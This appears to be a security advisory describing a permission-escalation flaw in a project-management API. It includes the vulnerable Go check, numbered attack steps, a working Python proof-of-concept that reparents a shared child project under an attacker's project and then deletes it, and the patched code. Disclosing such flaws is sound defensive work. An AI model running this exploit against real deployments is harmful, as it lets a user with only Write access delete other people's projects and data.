GHSA-2vq4-854f-5c72

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } }

1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404.

import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victim_token = login("victim", "Victim123!") attacker_token = login("attacker", "Attacker123!") # victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victim_token), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victim_token), json={"title": "Secret Child", "parent_project_id": parent["id"]}).json() # victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token), json={"username": "attacker", "permission": 1}) # attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attacker_token), json={"title": "Attacker Root"}).json() # before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token)) print(f"DELETE before reparent: {r.status_code}") # 403 # exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token), json={"title": "Secret Child", "parent_project_id": own["id"]}) print(f"Reparent: {r.status_code}") # 200 # after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token)) print(f"DELETE after reparent: {r.status_code}") # 200 - escalated to Admin # victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token)) print(f"Victim access: {r.status_code}") # 404 - project gone

DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404

if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } }